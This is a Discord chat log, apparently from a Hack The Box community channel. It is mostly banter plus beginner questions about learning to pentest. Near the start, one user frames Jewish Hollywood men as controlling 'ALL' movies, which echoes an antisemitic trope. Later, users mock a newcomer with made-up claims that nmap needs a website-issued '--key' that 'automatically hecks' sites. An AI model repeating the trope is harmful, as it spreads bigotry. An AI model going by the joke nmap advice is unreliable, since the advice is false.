[sharp shuttle]

he is short jewish hollywood man #89 who gets the hot girl

typical seth rogen slop

[austere sinew]

damn

[sharp shuttle]

when you realize it its kinda funny

[molten bobcat]

Apparently yes he is Jewish but he's stated he's not really religious

Didn't know that

[sharp shuttle]

I was mostly referring to seth rogens crew

[molten bobcat]

Ah

[sharp shuttle]

they make like all of those movies

and its scary

like ALL of them

[molten bobcat]

I like Seth in more serious roles

Because he's just lovable

For example he's the one eyed alien in Invincible

I cant remember his name lol

[sharp shuttle]

Yeah hes a decent voice actor

[lime trout]

thermite my beloved

[sharp shuttle]

better than the rock

[molten bobcat]

Allen!

https://tenor.com/view/wait-what-allen-the-alien-seth-rogen-invincible-did-i-hear-that-right-gif-7815623494775642888

[sharp shuttle]

i wish duplikate was my wife cause then

[molten bobcat]

I didnt know this but apparently hes executive producer for invincible

The other guy is his childhood friend

[sharp shuttle]

i like invincible i also like panty and stocking

amazon cookin with animation rn

[molten bobcat]

jjk season 3

Is uh

Pretty phenomenal

I genuinely think season 3 episode 8 is going to inspire people to become lawyers lmao

[sharp shuttle]

only watched season 1, ill watch naruto kaisen when its all out

[molten bobcat]

https://tenor.com/view/oh-my-god-bruh-jjk-jujutsu-kaisen-higuruma-higuruma-hiromi-gif-6772381213627884903

[upbeat tangle]

hello

[sharp shuttle]

cloud wanna see a funny meme

i found it yesterday

[molten bobcat]

Thats crazy

[sharp shuttle]

its funny cause the dog stayed still

[upbeat tangle]

whats up brath

[sharp shuttle]

working on a secret project

[maiden anvil]

praise dale raise hail

[sharp shuttle]

you?

[maiden anvil]

what's going on

[sharp shuttle]

idk bro did you see your evil brother?

@burnt citrus

[maiden anvil]

I have an evil brother now

@burnt citrus

[upbeat tangle]

did the seasonal machine and vaping xD

[sharp shuttle]

nice man

[cold lotus]

i got defeated by an easy challenge

[upbeat tangle]

we all do sometimes i think

[cold lotus]

couldnt do the priv esc of eighteen

[upbeat tangle]

it was pretty difficult i remember

[cold lotus]

i know the attack vector of the priv esc but nothing works lkike i want dhsahdsah

[rose onyx]

what is it? 🙂

[cold lotus]

its secret hahaha

[upbeat tangle]

trying to socially engineer brath

hmm i see

[alpine pumice]

that's easy i see him get ragebaited almost every day

[sharp shuttle]

GRRRRR

[burnt citrus]

yoo

[warm dome]

What’s the htb feedback pipeline? Like does it have its own team or an ai filtering it or only certain filters

[warm dome]

No change then?

[terse dirge]

Always on caturday twin

[worthy cargo]

The world is full of idiots.

Sadly we have to live in the same world as the said idiots.

It's not easy.

[frail turtle]

you mean like the ones who keep globally pushing for us to insert our identities onto operating systems?

[dreamy robin]

is any of you guys able to access: https://app.hackthebox.com/profile/subscriptions

im trying to redeem my voucher but im getting a integer not found error. Or is redeeming the voucher perhaps i trail i have to complete 😛

https://imgur.com/a/FWgNgNg

[terse dirge]

Maybe I'll go to the gym later. I'm feeling like going tbh

[frail turtle]

ceald why don't you just work construction

that way you at least get paid to destroy your body

[alpine pumice]

just steal one

[burnt citrus]

do SuperNuts or sum

he said steal one

[alpine pumice]

i stole this one first

[river adder]

https://tenor.com/view/borat-dancing-gif-3711277765144631072

[heady sage]

Imma tap the glass rq

[supple plume]

It is happening in htb too

I even mentioned that in the last cube talks

[humble mango]

Im new bro. Just started. I want to be a hacker 😾

[supple plume]

The only way to bypass llm bs is to make things hard af @heady sage

I've designed labs in machine and asked the best llms to spot the vulns. The only way is to make it way more difficult

[humble mango]

Hi bro @supple plume

[supple plume]

Specially if there is more than one codebase running at the same time

[supple plume]

Hi

[supple plume]

Welcome

[humble mango]

How long u r working or learning in this field

[supple plume]

In cyber about 8 months

But I've been doing software from 8 years ago

[humble mango]

🥲 im a baby here

[supple plume]

Haahh

Htb It's a good start

[zenith pine]

https://tenor.com/view/uncanny-cat-uncanny-valley-dark-wtf-gif-14708455975531353777

get out

[humble mango]

Just born few days ago

[humble mango]

Chudling pong

[supple plume]

I think is not the best one

[humble mango]

Oh L is here too 😂

[rose wing]

Hi guys, this has probably been asked but I want to know your opinion on this. How is ai and automation changing the pentesting jobs? And how can learners break trough?

[supple plume]

Just another tool, can be useful for some things

Changes how we do some things for good

But skills are still what matters

[molten bobcat]

Passion and care for the field is what makes you stand out as a candidate

[rose wing]

https://x.com/AnthropicAI/status/2029978909207617634?s=20
this is the most concerning thing for me

[molten bobcat]

Oh cool an AI predicted what jobs an AI could do

Wahhh

This is nothing lmao

[heady sage]

So I’m just supposed to give in to sloppy hooligans making AI slop?

[hoary dawn]

just paid my rent in cubes

[sick gate]

i asked the ai company if their ai was good and they told me it was the best

[hoary dawn]

landlord was like wtf is this

[molten bobcat]

Humans went to the moon and back without dying on less ram than a fucking Gameboy color, try harder.

[supple plume]

No reason to be concerned

[zenith pine]

https://tenor.com/view/helldivers-automaton-robot-laptop-oil-gif-7384339337185613233

[sick gate]

take your rentoid problems to poor people discord

[hoary dawn]

is there one of those

[sick gate]

i wouldnt know

[hoary dawn]

youre the one who mentioned it!

[sick gate]

be gone with you, pleb

[hoary dawn]

🙁

netanyahu get him

[supple plume]

I found that task impossible to achieve

Pwnology is not bad

[hoary dawn]

i got 3 monsters and 3 htb tabs open im about to do some damage fellas

im really looking forward to doing all of this stuff not to sound corny, this htb stuff is mad fun

its been giving me something to wanna do after work and all that

thats an extremely realistic arm

i gotta get this role uggraded too, been looking forward to that but not expecting it any time soon 🤣

[supple plume]

You're already getting distracted with an emoji smaller than a fly

[hoary dawn]

youre right and half a monster is empty ! this isnt good. off i go 🤣

new mission

ill be back when my roles upgraded 😎

[supple plume]

Btw check also portswigger academy it's free and very good

[supple plume]

Hack them all

[heady sage]

Try Curlswigger Labs

[supple plume]

Have you checked the last article?

[heady sage]

Yes I did, very impressive

[supple plume]

I am not very happy about the wording

[heady sage]

I wasn’t expecting you to actually do it

[supple plume]

Really?

I thought I explained things a bit too non-technical

Specially at the beginning

[supple plume]

Anyway you can suggest more, I'll be happy to do them

But not oauth, it took me too long

[hoary dawn]

im buying vip rn is there any coupon codes avail 😮

[warped plank]

Nope

[hoary dawn]

i just bought the 200/m cube plan thinking itd give me unlimited pwnbox time on labs as well but i guess it doesnt so i gotta buy vip too now to get it on labs

ah okie

vip looks cool anyways

[scenic maple]

@sharp shuttle @cloud osprey

[rapid badger]

Its kinda free if you use your own VM and vpn in.

[hoary dawn]

yea ik im just a sucker for simplicity

and a slave to consumerism

[supple rain]

Can anyone please tell me why I can't see the flags?

[latent oak]

What are people up to tonight?

[distant grail]

I will watch ufc 326 later

Wbu

[latent oak]

Trying to stop myself from building new software with Claude… it’s like crack

[scenic maple]

did u spawn machine or have vip?

[supple rain]

On one's own

[latent oak]

The other day I thought… i should write a SIEM for my home network… now i have one

[scenic maple]

i dunno then

u could ask support

[royal lagoon]

I am new here

And I want learn scanning website for free any resource?

[random aurora]

How to go to questions for people ask community

[supple rain]

The form is just completely strange, I tried it through Mozilla and through Chrome, through Chrome the system writes Incorrect Flag.

[zenith pine]

https://tenor.com/view/ur-cooked-gif-12483592394063808554

[royal lagoon]

Why?

[zenith pine]

cuz its impossible

[random aurora]

?

[royal lagoon]

No bug bounty is possible

[zenith pine]

Its impossible to scan websites illegally

packets dont travel internet without authorization

[royal lagoon]

I want to do legelly

Like nmap

[zenith pine]

nmap only works with permission

[alpine pumice]

bugcrowd, hackerone, look on company websites for bounty offerings

[heady sage]

Get duplicated by some guy using AI.

[royal lagoon]

What permission?

[alpine pumice]

some people gotta learn the hard way

[royal lagoon]

I don't know about it

[zenith pine]

ask permission of the website, they'll give you a key to use with nmap, then packets travel* the network

[latent oak]

Oy vey… start by playing some boxes… they will teach you the skills you need

[royal lagoon]

Ok so now what?

[zenith pine]

nmap --key <key>, it automatically hecks them

[royal lagoon]

I think you are making fun

[west lynx]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[latent oak]

You’ll need a loopback adapter

[rapid badger]

[alpine pumice]

there you go, that'll teach you how to start

[zenith pine]

some people do other ways, i do this way, its easier

[royal lagoon]

Fun or scan?

[latent oak]

@zenith pine won’t share his keys

[zenith pine]

fun and scan

[zenith pine]

dont share secret nmap keys, they for ethical hecking

[alpine pumice]

netflix and scan

[random aurora]

There is people asking question so where I see this room in hacktherbox

[royal lagoon]

Both like it

[latent oak]

Ethical hecker

[sharp shuttle]

hollywood is kill

[zenith pine]

you both like?

[latent oak]

Ethical heckler

[scenic maple]

whats ethical about hacking

[sharp shuttle]

Doing backspace shots on backspace

[scenic maple]

[sharp shuttle]

just beat slay the spire 2, was upset with the twist tbh

:///

://////

[alpine pumice]

amazing game

[zenith pine]

Tell them you ethically nuked their prod env

[royal lagoon]

Nothing just tell where I start learning hacking for free special recons

[sharp shuttle]

i mean its literally the same game

but yeah its fun

[alpine pumice]

a lot is different

[sharp shuttle]

whats different though? its basically dlc

and no i dont have friends

[latent oak]

@royal lagoon supernuts gave you a great link

[sharp shuttle]

i have hackralee blocked so he must have been really fucking annoying

[zenith pine]

you need to prove you nice hecker, ethical hecker

[hoary dawn]

i never blocked him but his message is filtered for me too

[scenic maple]

discord be saving us

[hoary dawn]

i mean, i dont think i have, i never block anyone

[lime trout]

likely spammer filter

[royal lagoon]

How?

[sharp shuttle]

i think ive only blocked like 4 people

[alpine pumice]

yeah it's the spam filter

[sharp shuttle]

ah interesting

[zenith pine]

you guys unmute him you losing all the content

[hoary dawn]

bro needs to talk more human like

[latent oak]

Plz tell me howtoheck no time read tell now

[sharp shuttle]

imagine getting flagged as likely spam

[zenith pine]

any ethical hecker can do at least 3 backflips in a row

evil heckers can only do 2

[alpine pumice]

it's a discord thing not a server thing

[sharp shuttle]

yeah... i can do more than 0, sure

[hoary dawn]

id be pissed that probably gets him kicked from some servers automatically

[alpine pumice]

he has to go through a process with discord to remove it

[royal lagoon]

No i can't

[zenith pine]

If you can do 1 backflip you can heck easy websites

[rapid badger]

[royal lagoon]

😂😂😂😂

[zenith pine]

try do half backflip then

[latent oak]

I do burps… that’s why I’ve never been able to hack the box

[zenith pine]

that should get you foothold

[zenith pine]

hecking boxes is hard, he should start trying to hack small crates first, maybe hacking drawers

[latent oak]

Truth

[rapid badger]

Do some weighted pull-ups. It will make you an uber hecker

[latent oak]

That’s why we are all so jacked

[rapid badger]

I can only do reg ones. Thats why still a skid

[zenith pine]

To heck the box you must first lift the box

[rapid badger]

Will get there

[zenith pine]

https://tenor.com/view/cat-fitness-gym-exercise-screaming-gif-15134307660450129365

[latent oak]

https://tenor.com/view/jaccuse-gif-5729034

Someone port scanned me earlier… i wonder who that could have been

[zenith pine]

open every port on your machine to assert dominance

[latent oak]

Usually you gotta buy me a drink or two

[zenith pine]

i heard port 22 is always open for the bros tho

[scenic maple]

remember @zenith pine if you cant reach the website your vpn probably restarted

[rapid badger]

Wanna :42069 and chill ?

[latent oak]

Bring your keys

[zenith pine]

::42069?